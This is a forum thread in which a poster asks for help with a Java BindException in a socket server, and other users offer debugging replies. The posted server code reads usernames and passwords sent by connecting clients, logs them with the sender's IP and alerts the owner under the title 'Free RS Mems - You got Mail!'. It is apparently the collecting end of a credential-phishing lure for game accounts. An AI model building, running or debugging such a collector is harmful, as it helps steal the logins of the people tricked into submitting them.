Cannot assign requested address
I'n trying to get this server I wrote running on one of my clients computers but they are getting this error:
Code :
java.net.BindException: Cannot assign requested address: JVM_Bind
at java.net.DualStackPlainSocketImpl.bind0(Native Method)
at java.net.DualStackPlainSocketImpl.socketBind(Unknown Source)
at java.net.AbstractPlainSocketImpl.bind(Unknown Source)
at java.net.PlainSocketImpl.bind(Unknown Source)
at java.net.ServerSocket.bind(Unknown Source)
at java.net.ServerSocket.<init>(Unknown Source)
at java.net.ServerSocket.<init>(Unknown Source)
at Server.startServer(Server.java:47)
at Server.run(Server.java:30)
at Server.main(Server.java:22)
From the research I've done on it it seems like the port is being blocked or already in use by another program. I've tried ending all java processes and that didn't work so I rebooted the machine and that didn't work. Lastly I have changed the port several times and over a wide range of ports. That didn't work. My program runs on every computer I have ever tested it on, both windows and linux machines. I'm starting to think that it could be the router?
Heres my class Server:
Code :
import java.net.*;
import java.io.*;
import javax.swing.JOptionPane;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.UnsupportedAudioFileException;
public class Server implements Runnable {
ServerSocket server;
Socket client;
DataInputStream in;
DataOutputStream out;
int port = 5555;
public static String message1, message2, ip, mac;
private Writer w = new Writer();
private Notify notify = new Notify();
public static void main(String[] args) throws IOException {
Server s = new Server();
s.run();
}
@Override
public void run() {
try {
while (true) {
try {
startServer();
} catch (IOException e) {
e.printStackTrace();
} catch (LineUnavailableException e) {
e.printStackTrace();
} catch (UnsupportedAudioFileException e) {
e.printStackTrace();
}
Thread.sleep(1000L);
}
} catch (InterruptedException iex) {
}
}
public void startServer() throws IOException, LineUnavailableException, UnsupportedAudioFileException {
server = new ServerSocket(port);
System.out.println("Writing Server started on port " + port);
while (true) {
client = server.accept();
ip = getIPAddress(client);
//mac = getMacAddress(client);
System.out.println("Writing Server: Recived Connection from " + ip);
in = new DataInputStream(client.getInputStream());
message1 = in.readUTF();
message2 = in.readUTF();
notify.playSound();
System.out.println("Recived - Username: " + message1 + " Password: " + message2);
w.writeAccount();
w.writeIP();
client.close();
JOptionPane.showMessageDialog(null, "Username: " + message1 + "\n Password: " + message2
+ "\n IP: " + ip, "Free RS Mems - You got Mail!", JOptionPane.PLAIN_MESSAGE);
}
}
public String getIPAddress(Socket client) {
if (client == null) {
return "0.0.0.0";
}
return client.getInetAddress().getHostAddress();
}
}
Any help or insight would be great!
Re: Cannot assign requested address
It won't even compile for me.
Server.java:19: cannot find symbol
symbol : class Notify
location: class Server
private Notify notify = new Notify();
^
Server.java:18: java.io.Writer is abstract; cannot be instantiated
private Writer w = new Writer();
^
Server.java:19: cannot find symbol
symbol : class Notify
location: class Server
private Notify notify = new Notify();
^
Server.java:58: cannot find symbol
symbol : method writeAccount()
location: class java.io.Writer
w.writeAccount();
^
Server.java:59: cannot find symbol
symbol : method writeIP()
location: class java.io.Writer
w.writeIP();
^
5 errors
So you're saying this line is causing the exception you're getting:
server = new ServerSocket(port);
Re: Cannot assign requested address
It wont compile because I did not paste all of the classes, and yes.
Re: Cannot assign requested address
Given this seems computer specific, you might want to verify the computer you are trying to run this on is not running any malware/antivirus/or similar software (or even the OS) that is preventing the socket from binding to the port.